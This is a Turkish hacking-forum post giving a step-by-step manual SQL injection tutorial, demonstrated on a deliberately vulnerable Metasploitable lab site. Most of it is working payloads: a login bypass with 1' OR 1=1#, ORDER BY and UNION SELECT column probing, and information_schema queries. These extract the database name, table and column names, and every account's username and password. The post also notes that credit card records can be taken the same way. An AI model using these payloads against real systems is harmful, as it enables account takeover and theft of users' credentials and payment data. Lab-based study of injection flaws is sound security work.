THT DUYURU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

chat
Seçenekler

Detaylı Manuel SQL İnjection Yapımı

Growler - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2018
Nereden:
Mars
Mesajlar:
230
Konular:
33
Teşekkür (Etti):
62
Teşekkür (Aldı):
52
Ticaret:
(0) %
23-08-2018 12:36
#1
Detaylı Manuel SQL İnjection Yapımı
Merhabalar bugün Manuel olarak SQL İnjection nasıl yapılır onu göstermeye çalışıcam.

SQL İnjection Nedir?
SQL Injection, veri tabanına dayalı uygulamalara saldırmak için kullanılan bir atak tekniğidir. Örnek olarak mesela "SELECT * FROM accounts" koduna m eta-karakter koyarsak açık varsa hata vericektir.

Ben SQL açıklı site aramak yerine sanal makinede m etasploitable' ın sitelerinde göstereceğim.

m etasploitable Nedir?
m etasploitable içinde birçok açık barındıran bir sistemdir.Ve bu sisteme kendinizi geliştirmek amaçlı saldırı yapabilirsiniz.

Mesela sitemiz bir forum sitesi bu forumda SQL açığı varmı anlamak için giriş yap kısmına gelip username=admin yazıp pass=' (tek tırnak işareti) koyuyoruz ve enter a basıyoruz. Eğer açık varsa bunun gibi hata verebilir.


Gördüğünüz gibi sitede açık olduğu için bize hata mesajı ve bilgiler gösterdi. Artık SQL açığı olduğundan eminiz şimdiki yöntem ile foruma admin olarak giriş yapacağız.

Yine aynı yere gelip username=admin yazıyoruz ama bu sefer şifreye 1' OR 1=1# yazıyp enter a basıyoruz.


Gördüğünüz gibi siteye admin kullanıcısı ile giriş yaptık. Artık daha ileri gidip veritabanlarını alacağız.




Şimdi gördüğünüz gibi forumda kişi bilgilerini veren sayfaya gelip giriş yaptık ve bu sefer URL kısmında diğer hatalar gibi değil bu sefer URL de gösteriyor. Biz bu URL nin username den sonrasını değiştireceğiz yani username=Harry'%23 Harry yerine istediğiniz kişinin ismini yazarak kişi bilgilerini alabilirsiniz.

Şimdi eğer forumda adminin ismi admin değilse biz forumdaki bütün üyelerin bilgilerini çalıcağız bunun için username=admin' union select * from accounts%23

Gördüğünüz gibi bütün kişilerin bilgileri görebiliyoruz

Şimdi sütunları kaç tane sütun olduğunu bulmak için username=admin' order by 1%23 yazıyoruz sonra kaç sütun olduğunu bulmak için "1" rakamını deneme yanılma yöntemiyle buluyoruz.
Benim yaptığım sitede 5 tane sütun var şimdi bu sütunların hangisinde bilgi olduğunu bulmak için
username= admin' union select 1, 2, 3, 4, 5%23 bu kodu giriyoruz ve

Aşağıda yazıyor 2, 3 ve 4 diye demek ki onlarda bilgi varmış bizde bunun için username=admin' union select 1, database(), user(), version(), 5%23 komutunu giriyoruz

burda bize veritabanını kullanıcı adını ve versiyonunu gösteriyor. Bundan sonra table isimlerini çekeceğiz username=admin' union select 1, table_name, null, null, 5 from indormation_schema.tables where table_schema = 'owasp10'

Table isimlerini çektik şimdi istediğimiz kolon ismini yazıyoruz username=admin' union select 1, column_name, null, null, 5 from information_schema.columns where table_name = 'accounts'


Şimdi Geriye tek işlem kaldı hesapları görmek bunun için username=admin' union select 1, username, password, is_admin, 5 from accounts

Evet artık hesapları aldık istersek kredi kartlarınıda alabiliriz sadece account yerine credit_cards yazılacak buraya kadar okuduğunuz için teşekkür ederim.
---------------------
Muhtaç olduğun kudret, damarlarındaki asil kanda mevcuttur.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler